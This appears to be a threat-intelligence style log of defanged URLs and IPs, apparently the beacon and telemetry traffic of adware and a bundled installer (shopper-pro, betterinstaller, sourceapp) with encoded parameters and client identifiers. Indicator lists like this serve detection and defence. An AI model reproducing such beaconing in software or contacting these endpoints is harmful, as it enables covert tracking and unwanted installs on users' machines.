hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p p3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p9DLf a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/ZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/HmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=4mC0vXGWFtoJz2TpdH2qbCHCCdGv/L44zsntEvjGDPJAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6to77UvoFFdoZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YNrVMaqjjilw4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge0/mXgn8p3jh6JpZis9f nTddyS4BuUDC9VQA9W/s5rcJ2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge09j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXcyS07UkHqNsveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLGPTgpcaNhCc8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFpa4U6LaqLYoc= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge090js0 pge/oATxIUcsgQ wusjSmD/os8tO5dNaLjdAlskBDiV30w9zOaT9t kffdDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H 54.239.168.206
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCFyYH9jylicula50u3XyigpVREcH6lvzpS2WA5XhQ4MoPBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0GnruNs5KzEutf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9piq6/Wrmw/a8h8kpng0IpIJ 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHY6 CMJNDnNVJ80QsygdrlOPofYEioTNmxiezSykY/Z9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoF1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9MCGIRhlqzRAVi33qPwefc AZSpRiXLg4A== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISxEu8YMU EShpesdmADmbfIg u8SiWgmrZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcYhhrL473 zoy6s6xXqWFF6w7S4X73uD6h1FLuhw7jd QReVN40tf6x9OEcE1Gcggnu2GUDZd rCma3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1Bk7xKwR3W9AY9/CpuCTIAF0= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF5Q6ZdlmdsYCbUPmaXNWlX6cOBv59w3XV3YMennWKpognh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1Bk7xKwR3W9AY9/CpuCTIAF0= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHY6 CMJNDnNYID5x5YtLWQ5hwSZYo2fc/iYbn/6BXbalHruaJW xQg4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX82l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPo h9VnA4GhfH/jy8G4FGJY4SiD403Los 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJsK0lFUFVJ77pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCF62mie6K97bhs4164GCUCrHofaoyXCfoQIRgpbKKs6jK/sEUd/BCBLE 1KakB36ssAyR0VhWfLz7rzCOqouSiOX3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvjVnoHHj/VRE41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCdrQsq3xm3Mypq73FZdDH/8= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=uWabAt9SLcwnl2fxC/Wcu7pWLiw5aXWUdajd2k85AHmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzRAaimkHY3nlzFEM6Pn7EVX5NjeopULCFyYH9jylicula50u3XyigpVREcH6lvzpS5NOnjhl29VMiawHEBbFjHDiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfzaX6Frrq29SCnHdd5HUOns4EacvjQzW0IqsJA2m o8 j6H1WcDgaF8f PLwbgUYljhKIPjTcuiw= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISxEu8YMU EShpesdmADmbfIg u8SiWgmrZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcYhhrL473 zoy6s6xXqWFF6w7S4X73uD6giiSwx 5rfc SItTAmI9pxkVq/GI3sfPtTzrtqyaic3OCZMwdbGO3c68sEXuH4rLT3Wq2vKHOHM18XJvxFXM1O iRnR3GvMMqGqHUvozE8Q0kqRhFzzbCbzwUsyPylrkeXGDXIS/RRkptuVEGCfVHTrKJjQT7SjF/8SF 5sybboIdSGJ4/F49fT03ZwnpMmrtQGKJvvGF2Osqfoz2uHEz2FpCT4hJMiYHWvt5QpE44M63q4c8Wcx45Yyx20k8h7vVzwxSgtGQq7o4UGRclZAsIbSJEVa4Ci8Ka0yRzcJ0yb8cm9dOD9qQIA7ezX8WZgWM7a8MPvRSFp ceFAG3lI3l3bEUflrcjcMVwD/dyNpMd4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX82l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPo h9VnA4GhfH/jy8G4FGJY4SiD403Los 54.197.238.106
hxxp://d4ekdi381yoqv.cloudfront.net/p.ashx?e=Ka qOJkckoV5pPDVsfG01xpesdmADmbfkGRvnADQmYeMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovCmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5xIIWpTPES4rmkEK3qBiKqhVVJo48KbncR85KvwHLbytKZ41CPq3IAcjTaYiMGdAbW VsagjjdXSz4gguKWlYXavJoWu3VnK1BCvXlOaKn773iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyxj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH 54.239.168.206
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LU2XQ3qyK2AaXrHZgA5m35Bkb5wA0JmH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6MurOsV6lhResO0uF 97g pV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgXVpi/XAxgNiFazLZl BNqb5m5B1SgRIyasBC0rq0OgbqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215 ZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKWL/tOl3NWdQYDg1XhGFT0vPfwqbgkyABd 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LU2XQ3qyK2AaXrHZgA5m35Bkb5wA0JmH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6MurOsV6lhResO0uF 97g pV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgakbpJf5YFA4cnDbXMoNEWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXOvLBF7h Ky091qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEOpg8tXBCJ2BwB5esNx9efU= 54.197.238.106
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=yhrBLBbZM9XZ/Qu8ewVmaQkij ZCzqRwoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZyygPkMrxQuuFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPu7w RGhL4bCVXoVV2phO0P b/YhL9w2PQdfBkrHn 8nBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCeAAG0Tanv 8wrDBPISwNu/8VxkpRT81NdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp 54.239.168.206
hxxp://rep.shopper-pro.com/app/ping.ashx?e=9g1KGrSSDbEfAxEXghvnLJU4N1PTMTY7TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s jXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDY9OClxo2EJzxyb104P2pAgDt7NfxZmBYztrww 9FIWljFzjWJS83vuLmf6eHphUt9 inPTLZDtg= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zX5PxLbQh95wCHCCdGv/L44e 1fPGosvNH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UkmHgElHm6ZaS/Z04ZaZJZ4FF6f/a06pCWjwfqp7MHxGpMWXGXOfhUpfVTwYZZ42PrVKO0Ac9MLfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfzaX6Frrq29SCnHdd5HUOns4EacvjQzW0IqsJA2m o8 j6H1WcDgaF7VGG/Xal99ijhKIPjTcuiw= 54.197.238.106
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6ERUQj4gA06vs0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvrtV vhbJt2rclTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= 54.239.168.206
hxxp://d4ekdi381yoqv.cloudfront.net/20694.ashx?e=657cd9m3NQH2vdzuDiNvxiHCCdGv/L44OOyjwiLHFdxAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6tiW6eilVSYw95ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp 54.239.168.206
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.538687518716917
hxxp://rep.shopper-pro.com/app/ping.ashx?e=c2mW1WEUbCEfAxEXghvnLMra7Gf2oZs6TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s i6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0GnruNs5KzEutf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjvi1O7gf08yR8kpng0IpIJ 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=4UrbhtFoG4YfAxEXghvnLMra7Gf2oZs6TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLgIIY8Ek1vDoVj/Fsn7ICQK2r4/ch93s jME mqF/Q9vA/4o7K5XbeaB5kQ3UA/pU73iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvjVnoHHj/VRE41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCfTiV4jkxZTMpq73FZdDH/8= 54.197.238.106
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6641631515694306
hxxp://sourceapp.info/mg?alpha=Wz1pHUY2BF1oICkyRjdJZHQrDkMFLm0hBiAwNBoYDjlESwMYAj5mWS94fWlmBllxOktfPRobdU5NJTBUWx4IGDBAOyMENQNjeWlnMW5GJ0kZIW9MGk04PHxGLVNrQlpdbDUWQw5BaXYoWX91GxcHK2xIOltdXlwJBGZ4QBUPfkhMPTU/IQRAAGR5EhEmNx9yTh4leRFcQDsqNBh XmpBfWEBGnQh
hxxp://sourceapp.info/mg?alpha=Wz1pHUZvAS5AdxMKRjdJWnk6EEZbe2tsN1tUYy0rXB4oeTIKN3RvWVAJaGoTAl1xTTouTw8acU45PjAkSDVTEDMjanVSTQtKQzZrVi9y
hxxp://rep.shopper-pro.com/app/ping.ashx?e=aL/yzOcQGPkhwgnRr/y OIc6ASpc9dQ1 0R MP RL3VKgFoRkIu6RpNh8S9i4d0HDgHw5OsMYvJQPOcqt8/xvIY2d48H/jH53sGqR1dd1 D4mNFQxLV3WswWil2hCncxcKsCuGfywf4BLsMKbdkllwvx/3S9Wd1SIqeMDdWMzeLwlJBYqLHwBkeMx0ZcpgJMdsIfagc60JJZtfKtkl4IFmDRKCu1CB4wxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJcorsuf6FS25/vxCHDKDQXB82wDWK7EtoF1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9JEsQ0Xc6BWT9wKkxYqjT c= 54.197.238.106
hxxp://sourceapp.info/mg?alpha=YTZ6HFt6LBseISMOVTZUXn84D14/dCx XQArfw==
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilH3P26CE7VcKdT/YAxQmelWqbxg7fgQf3ItXW8/iTesfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=bdqY0vC4PYsaXrHZgA5m37gmbLfAutldqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8/ kdIj6VE8CNz/0aqZob2ISeEfXifMKZ7NLx3J2zq9LCzSmFZnWfwAUq9vGFcnz4PEn7DqvLFbw== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilF/EkTZWnXTPW1yq4on4Rvc8RxxVe7Z8IarcpfKrbJudMS6E ZVjGvzP/pHSI lRPAjc/9GqmaG9iEnhH14nzCmezS8dyds6vSws0phWZ1n8PSgZZs8q9v7HOZnSWChaSpbNcI6Uy014FEViCvyDnuRmJS/CStLJjeyp jPa4cTPVQyB/VFyE6ekC9hdIYNUYkg9A4falvkDLKn6M9rhxM9haQk ISTImB1r7eUKROODOt6uHPFnMeOWMsdtJPIe71c8MUoLRkKu/xJo1EJGyYRPKewvcYQT1OmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5fyaauBUvQVow01McGk6sWOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXx/48vBuBRiWOEog NNy6LA== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=/9ZmISdorEtPNjxRBLtb4z2yFYVisXUyt8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHbYKYy91 zfZ5dcTig2boV6xool1mM9zb4KwdVWYfAjLGJ7NLKRj9n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gXVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0wIYhGGWrNEBWLfeo/B59z4BlKlGJcuDg 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9EMGHDQVw/vzGhU19XqFTVuS55OePfOVKxbaMNHmg 4ouIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jz6PofVZwOBoXtUYb9dqX32KOEog NNy6LA== 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=iAb9K1DDBHUaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l59bC43VoLO9FUy1aQkAHt2YM2kfEeZIlMB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=xBG2NTmY QIaXrHZgA5m3xPhu2Gcp8uIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE4tHU96GXm6SqUVvKp9Lg9WpU9MRQHad4Zw4LO6ub5l5rBjqlmzKnb11WfmaK7dF89zNhnv/igXYxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kjz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/AmTADg95nKug8SfsOq8sVv 54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrhPNjxRBLtb45TxNhcjCsnft8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYc7PANQ L2Of1QHs3X92ilHcZEstqg/Y81lIQncsUP2MMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXn5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP IpYv 06Xc1Z1BgODVeEYVPS89/CpuCTIAF0= 54.197.238.106
hxxp://sourceapp.info/fp?alpha=aytSGjs0VklUKxAOfTA0am8BFztrd0RrekwqEwVnbD9fGn1pWiMaUmEbPx0YKk8mSzF2WU0RD2pcB0Nbc3sub0kNLGUPPzwGMAktTn8pFyQoKlFWZXwzBW4+FUVSWC5ufxMOPztRW2VXbGxOAWkxOF9ORGpVPBxkdi0DRDs8PXAXK3huQURoJ3JCD2pDOyx0KXg3REw2bX8Pdj4cVVYNOjxzHg86LlZSfFNgeRweemQ6Rx0Tewk+DisqIGMecjsgd1JdYXxDXmNlKxtIN0JoNAhdXSEGCTNwLAdnOh1DUFoxPDlSAVlnCQYzEip5Okk8YmMDGgUFET8RenMqAXw7Kzt3TkB0KRgGOU5yQgIfHyxVaT9cMlVWFnQtA3s6HUNZKiUefXx4SjxGHUVuJBdA
